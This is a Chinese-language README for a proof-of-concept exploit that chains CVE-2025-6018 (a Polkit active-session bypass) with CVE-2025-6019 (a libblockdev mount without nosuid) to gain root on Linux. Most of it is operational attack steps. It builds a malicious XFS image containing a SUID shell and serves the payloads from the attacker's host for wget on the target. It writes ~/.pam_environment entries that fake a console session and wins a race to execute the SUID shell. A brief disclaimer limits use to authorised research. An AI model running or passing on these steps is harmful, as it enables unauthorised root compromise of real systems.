一个强大的概念验证(PoC),用于串联 CVE-2025-6018(PAM/Polkit Active 会话绕过)和 CVE-2025-6019(libblockdev SUID 挂载漏洞),在易受攻击的 Linux 系统上获取 root 访问权限。
本工具仅用于教育目的和经过授权的安全研究。请勿在您不拥有或未经明确许可测试的系统上使用。
此漏洞利用串联两个逻辑缺陷,将权限从普通用户提升到 root:
Active=yes。此技巧使系统认为远程用户在控制台前物理在场,从而绕过 udisks2 等硬件管理工具的密码要求。libblockdev 库(由 udisks2 使用)在临时挂载文件系统以执行维护操作(如 Check 或 Resize)时未能应用 nosuid 安全标志。Active=yes 会话状态,无需密码即将此镜像挂载为 loop 设备。Filesystem.Check 发起 D-Bus 调用。这会迫使 udisks2 临时挂载该镜像以进行验证。关键的是,该临时挂载缺少 nosuid。/proc/mounts。临时挂载一出现,它就在系统卸载之前执行 SUID 载荷。由于目标机器通常缺少 mkfs.xfs 或 gcc 等工具,我们在本地生成载荷。
在 Kali/Parrot 上运行构建脚本:
./build_poc.sh
exploit.img(包含 SUID shell 的 400MB XFS 镜像)。catcher(竞态条件胜出者)。将文件上传到目标: 启动 Python 服务器:
python3 -m http.server 80
在目标机器上(例如在 /tmp 中):
wget http://<YOUR_IP>/exploit.img
wget http://<YOUR_IP>/catcher
chmod +x catcher
下载漏洞利用脚本:
将此仓库中的 exploit.sh 内容保存到目标机器。
运行漏洞利用:
chmod +x exploit.sh
./exploit.sh
获得 Root: 该脚本将自动设置 loop 设备、启动后台 catcher,并触发漏洞。您应立即获得 root shell。
如果脚本要求输入密码,说明您的 SSH 会话不处于活动状态。 修复方法:
~/.pam_environment:
echo "XDG_SEAT=seat0" > ~/.pam_environment
echo "XDG_VTNR=1" >> ~/.pam_environment
loginctl show-session $XDG_SESSION_ID | grep Active 进行验证。必须显示 Active=yes。漏洞窗口仅有几毫秒宽。
build_poc.sh 中),而不是 Bash 循环。Filesystem.Check 方法,这比 Resize 更可靠。build_poc.sh(攻击者端)自动创建恶意镜像并编译静态二进制文件。
exploit.sh(目标端)编排脚本。它负责:
catcher。udisksctl 设置 loop 设备。Filesystem.Check 调用。